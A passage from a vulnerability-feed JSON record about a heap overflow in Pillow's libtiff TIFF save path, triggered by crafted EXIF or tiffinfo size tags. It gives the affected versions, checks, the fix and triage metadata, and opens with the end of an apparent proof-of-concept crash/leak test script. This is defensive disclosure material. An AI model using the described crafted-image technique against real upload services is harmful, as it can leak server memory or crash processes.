preexec_fn=lambda: resource.setrlimit(resource.RLIMIT_CORE, (0, 0)),  # no core file\n    capture_output=True,\n)\ncrashed = child.returncode in (-signal.SIGSEGV, -signal.SIGBUS)\noutcome = signal.Signals(-child.returncode).name if child.returncode < 0 else \"no signal\"\nprint(f\"crash:   child exit code {child.returncode} ({outcome})\")\n\n\nprint(\"BUG\" if control_clean and (leaked or crashed) else \"OK\")\n```\n</details>","summary":"Pillow's TIFF save through libtiff can read or write past a heap buffer when EXIF or tiffinfo tags override the image size or samples per pixel. An attacker who uploads a crafted image can get heap memory copied into the saved file, or crash the process.","severity":"high","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":"<= 12.3.0","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-787","image-upload","package","pillow","python"],"not_affected_if":["no-user-uploads","pillow-13-or-later","raw-compression-only"],"how_to_check":"- Check the installed Pillow version with `python -c \"import PIL; print(PIL.__version__)\"`, and treat anything at or below `12.3.0` as affected.\n- Look for `.save(` calls with `\"TIFF\"` and a `compression=` other than raw, or `exif=`/`tiffinfo=` arguments, in code that handles uploaded images.","fix":"- Pillow: move to `13.0.0` or later.","status":"open","published_at":"2026-11-01T23:27:59+00:00","first_seen_at":"2026-11-09T22:53:22+00:00","triaged_at":"2026-11-09T22:58:51+00:00","updated_at":"2026-11-09T22:58:51+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T22:58:51Z","model":"claude-haiku-5-5","output":{"fix":"- Pillow: move to `13.0.0` or later.","reach":"internet","title":"Pillow: crafted image metadata overflows heap when saving TIFF","impact":"high","summary":"Pillow's TIFF save through libtiff can read or write past a heap buffer when EXIF or tiffinfo tags override the image size or samples per pixel. An attacker who uploads a crafted image can get heap memory copied into the saved file, or crash the process.","audience":"developers","category":"package","nicknames":[],"who_cares":["python","pillow","image-upload"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Heap memory leaks into saved files, or the process crashes.","analyst_note":"","how_to_check":"- Check the installed Pillow version with `python -c \"import PIL; print(PIL.__version__)\"`, and treat anything at or below `12.3.0` as affected.\n- Look for `.save(` calls with `\"TIFF\"` and a `compression=` other than raw, or `exif=`/`tiffinfo=` arguments, in code that handles uploaded images.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["raw-compression-only","no-user-uploads","pillow-13-or-later"],"who_is_affected":"Applications that save images as TIFF through Pillow's libtiff path (any compression other than raw) and either copy metadata with exif=im.getexif() or tiffinfo=, or re-save uploaded TIFF files with a plain save. Code that only writes raw TIFF or never handles user uploads is much less exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001266,"input_tokens":9721,"output_tokens":588,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-1772':278C,547C '-1850':601C '-1982':514C '-2026':80C '-787':25B,84C '0':646C '1':612C '1035':102C,322C '128':369C '16':611C '1768':277C,546C '1782':631C '1847':600C '1955':257C,513C '2':170C,391C,641C '2.3.0':436C '256':529C '257':531C '27':392C '277':588C '284':534C '291':318C '3':357C '64x4':350C '8':643C,644C '8.4.0':443C 'a707c6b21c313880d0771e54965d142dd42358b6':106C 'abort':183C,426C 'across':205C 'actual':315C 'affect':187C 'also':166C 'ant':79C 'applic':188C,584C 'att':511C 'attach':343C 'attack':60B,417C,525C 'attacker-chosen':416C 'attacker-suppli':524C 'attribut':505C 'auto':575C 'auto-transpos':574C 'back':433C 'band':286C,598C,606C 'bare':658C 'beyond':422C 'bitspersampl':240C,473C,500C,642C 'branch':238C,498C 'buffer':2A,45B,89C,135C,177C,311C,484C 'built':255C 'byte':370C,407C 'byte-wis':406C 'c0f619384cbc':444C 'caller':293C,522C 'carri':201C 'case':348C,401C 'chang':380C 'check':325C 'chosen':418C 'come':520C 'commit':105C 'compar':491C 'compress':114C,171C,195C,228C,458C 'consum':330C 'content':413C 'convert':361C 'copi':70B,153C 'corrupt':179C 'craft':64B,216C 'crash':76B,160C 'cs7n494p':81C 'cwe':24B,83C 'data':419C,527C 'date':432C 'dbf47837ce99':437C 'demonstr':345C 'describ':338C 'detail':445C 'dict':506C 'differ':409C 'drop':655C 'ed':586C 'either':200C 'enabl':167C 'encod':127C,173C,253C,456C,482C,510C 'end':131C 'exif':47B,207C,272C,354C,389C,440C,542C,556C,616C 'exist':411C 'extra':653C 'extrasampl':645C 'f':221C 'file':74B,157C 'forward':633C 'full':332C 'geometri':517C,564C 'get':67B,145C 'ghsa':14A,19A 'ghsa-xcvg-w56q-r89m':13A,18A 'given':507C 'glibc':425C 'greyscal':351C 'hand':478C 'heap':1A,44B,68B,88C,134C,181C,376C,412C 'high':82C 'ifd':303C,594C,625C 'im.getexif':208C,566C 'im.save':659C 'im.size':265C,538C 'im.tag':567C,629C 'imag':11A,27B,53B,65B,98C,111C,121C,140C,246C,316C,448C,488C,607C 'image-upload':26B 'image.open':220C 'imagelength':259C,530C 'imagewidth':258C,390C,471C,528C 'imaginglibtiffencod':104C,306C 'includ':151C,377C 'inform':117C 'inherit':226C 'instead':178C 'jpeg':352C,387C,560C 'kill':393C 'l':608C 'libtiff':7A,37B,94C,193C,237C,329C,455C,464C,465C,497C,635C 'list':250C 'live':375C 'load':578C 'locat':100C 'loop':275C,544C 'make':125C 'memori':69B,86C,150C 'memory-safeti':85C 'merg':274C,543C 'metadata':123C,165C,204C 'mode':287C,599C,649C 'multi':597C 'multi-band':596C 'never':281C 'noth':421C,490C 'observ':424C 'open':647C 'orient':579C 'overflow':3A,90C 'overrid':10A,51B,97C 'overwritten':269C,551C 'p':609C,650C 'packag':29B 'palett':217C,637C 'pass':308C 'past':42B,129C,175C 'per':57B 'photometr':358C 'pillow':23A,30B,32B,108C,435C,479C,573C 'pin':242C,502C 'pixel':58B 'planarconfigur':261C,474C,533C 'pointer':152C,378C 'predictor':169C,230C 'process':78B,148C,162C,185C,395C 'put':591C 'px':652C 'python':31B 'r89m':17A,22A 'rather':414C 'raw':198C,461C 'rawmod':651C 're':213C 're-sav':212C 'reach':304C 'read':39B,128C,347C 'real':245C,487C 'reproduc':344C 'rgb':359C,365C 'rout':431C,441C 'row':310C,373C,483C 'run':382C,384C 'safeti':87C 'sampl':56B,654C 'samplesperpixel':279C,356C,472C,587C,640C 'save':4A,35B,73B,91C,109C,156C,214C,222C,450C 'say':355C 'scanlin':333C,468C 'server':147C 'set':263C,282C,536C 'shown':428C 'sigsegv':397C 'simpli':211C 'singl':285C,605C 'single-band':284C,604C 'size':12A,54B,99C,116C,312C,466C,480C 'someon':136C 'sourc':203C,299C,621C 'src/encode.c':317C 'src/libimaging/tiffdecode.c':101C,321C 'src/pil/tiffimageplugin.py':256C,512C 'stale':563C 'suppli':526C,627C 'tag':9A,50B,96C,249C,295C,337C,475C,518C,580C,628C 'tag-describ':336C 'taken':118C 'thumbnail':585C 'tiff':5A,34B,92C,115C,168C,191C,218C,224C,300C,366C,452C,571C,622C,638C 'tiffimageplugin._save':235C,495C 'tiffimageplugin.write':463C 'tiffinfo':49B,209C,273C,430C,541C,617C 'tiffscanlines':327C 'tiffsetfield':305C 'tiffwritescanlin':320C 'transpos':576C 'two':493C 'upload':28B,62B,138C,233C,559C 'use':142C 'v2':568C,630C 'valid':364C 'valu':290C,403C,614C 'via':626C 'w56q':16A,21A 'whose':353C 'width':339C 'wise':408C 'write':41B,174C,190C,400C 'written':404C 'xcvg':15A,20A","nicknames":[],"mitigations":[],"who_affected":"Applications that save images as TIFF through Pillow's libtiff path (any compression other than raw) and either copy metadata with exif=im.getexif() or tiffinfo=, or re-save uploaded TIFF files with a plain save. Code that only writes raw TIFF or never handles user uploads is much less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["pillow"],"ptokens":["pillow"],"labels":["cwe787","high","imageupload","package","pillow","pypi","python"],"campaign_type":null,"search_a":"'buffer':2A 'ghsa':14A,19A 'ghsa-xcvg-w56q-r89m':13A,18A 'heap':1A 'imag':11A 'libtiff':7A 'overflow':3A 'overrid':10A 'pillow':23A 'r89m':17A,22A 'save':4A 'size':12A 'tag':9A 'tiff':5A 'w56q':16A,21A 'xcvg':15A,20A","search_b":"'-787':25B 'attack':60B 'buffer':45B 'copi':70B 'craft':64B 'crash':76B 'cwe':24B 'exif':47B 'file':74B 'get':67B 'heap':44B,68B 'imag':27B,53B,65B 'image-upload':26B 'libtiff':37B 'memori':69B 'overrid':51B 'packag':29B 'past':42B 'per':57B 'pillow':30B,32B 'pixel':58B 'process':78B 'python':31B 'read':39B 'sampl':56B 'save':35B,73B 'size':54B 'tag':50B 'tiff':34B 'tiffinfo':49B 'upload':28B,62B 'write':41B","search_c":"'-1772':278C,547C '-1850':601C '-1982':514C '-2026':80C '-787':84C '0':646C '1':612C '1035':102C,322C '128':369C '16':611C '1768':277C,546C '1782':631C '1847':600C '1955':257C,513C '2':170C,391C,641C '2.3.0':436C '256':529C '257':531C '27':392C '277':588C '284':534C '291':318C '3':357C '64x4':350C '8':643C,644C '8.4.0':443C 'a707c6b21c313880d0771e54965d142dd42358b6':106C 'abort':183C,426C 'across':205C 'actual':315C 'affect':187C 'also':166C 'ant':79C 'applic':188C,584C 'att':511C 'attach':343C 'attack':417C,525C 'attacker-chosen':416C 'attacker-suppli':524C 'attribut':505C 'auto':575C 'auto-transpos':574C 'back':433C 'band':286C,598C,606C 'bare':658C 'beyond':422C 'bitspersampl':240C,473C,500C,642C 'branch':238C,498C 'buffer':89C,135C,177C,311C,484C 'built':255C 'byte':370C,407C 'byte-wis':406C 'c0f619384cbc':444C 'caller':293C,522C 'carri':201C 'case':348C,401C 'chang':380C 'check':325C 'chosen':418C 'come':520C 'commit':105C 'compar':491C 'compress':114C,171C,195C,228C,458C 'consum':330C 'content':413C 'convert':361C 'copi':153C 'corrupt':179C 'craft':216C 'crash':160C 'cs7n494p':81C 'cwe':83C 'data':419C,527C 'date':432C 'dbf47837ce99':437C 'demonstr':345C 'describ':338C 'detail':445C 'dict':506C 'differ':409C 'drop':655C 'ed':586C 'either':200C 'enabl':167C 'encod':127C,173C,253C,456C,482C,510C 'end':131C 'exif':207C,272C,354C,389C,440C,542C,556C,616C 'exist':411C 'extra':653C 'extrasampl':645C 'f':221C 'file':157C 'forward':633C 'full':332C 'geometri':517C,564C 'get':145C 'given':507C 'glibc':425C 'greyscal':351C 'hand':478C 'heap':88C,134C,181C,376C,412C 'high':82C 'ifd':303C,594C,625C 'im.getexif':208C,566C 'im.save':659C 'im.size':265C,538C 'im.tag':567C,629C 'imag':98C,111C,121C,140C,246C,316C,448C,488C,607C 'image.open':220C 'imagelength':259C,530C 'imagewidth':258C,390C,471C,528C 'imaginglibtiffencod':104C,306C 'includ':151C,377C 'inform':117C 'inherit':226C 'instead':178C 'jpeg':352C,387C,560C 'kill':393C 'l':608C 'libtiff':94C,193C,237C,329C,455C,464C,465C,497C,635C 'list':250C 'live':375C 'load':578C 'locat':100C 'loop':275C,544C 'make':125C 'memori':86C,150C 'memory-safeti':85C 'merg':274C,543C 'metadata':123C,165C,204C 'mode':287C,599C,649C 'multi':597C 'multi-band':596C 'never':281C 'noth':421C,490C 'observ':424C 'open':647C 'orient':579C 'overflow':90C 'overrid':97C 'overwritten':269C,551C 'p':609C,650C 'palett':217C,637C 'pass':308C 'past':129C,175C 'photometr':358C 'pillow':108C,435C,479C,573C 'pin':242C,502C 'planarconfigur':261C,474C,533C 'pointer':152C,378C 'predictor':169C,230C 'process':148C,162C,185C,395C 'put':591C 'px':652C 'rather':414C 'raw':198C,461C 'rawmod':651C 're':213C 're-sav':212C 'reach':304C 'read':128C,347C 'real':245C,487C 'reproduc':344C 'rgb':359C,365C 'rout':431C,441C 'row':310C,373C,483C 'run':382C,384C 'safeti':87C 'sampl':654C 'samplesperpixel':279C,356C,472C,587C,640C 'save':91C,109C,156C,214C,222C,450C 'say':355C 'scanlin':333C,468C 'server':147C 'set':263C,282C,536C 'shown':428C 'sigsegv':397C 'simpli':211C 'singl':285C,605C 'single-band':284C,604C 'size':99C,116C,312C,466C,480C 'someon':136C 'sourc':203C,299C,621C 'src/encode.c':317C 'src/libimaging/tiffdecode.c':101C,321C 'src/pil/tiffimageplugin.py':256C,512C 'stale':563C 'suppli':526C,627C 'tag':96C,249C,295C,337C,475C,518C,580C,628C 'tag-describ':336C 'taken':118C 'thumbnail':585C 'tiff':92C,115C,168C,191C,218C,224C,300C,366C,452C,571C,622C,638C 'tiffimageplugin._save':235C,495C 'tiffimageplugin.write':463C 'tiffinfo':209C,273C,430C,541C,617C 'tiffscanlines':327C 'tiffsetfield':305C 'tiffwritescanlin':320C 'transpos':576C 'two':493C 'upload':138C,233C,559C 'use':142C 'v2':568C,630C 'valid':364C 'valu':290C,403C,614C 'via':626C 'whose':353C 'width':339C 'wise':408C 'write':174C,190C,400C 'written':404C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-01T23:27:59+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-xcvg-w56q-r89m","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xcvg-w56q-r89m","severity":"high","published_at":"2026-11-01T23:27:59+00:00","modified_at":"2026-11-01T23:28:00+00:00","first_seen_at":"2026-11-09T22:53:22+00:00","fetched_at":"2026-11-09T22:53:22+00:00","note":null}],"documents":[{"id":110531,"url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xcvg-w56q-r89m","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}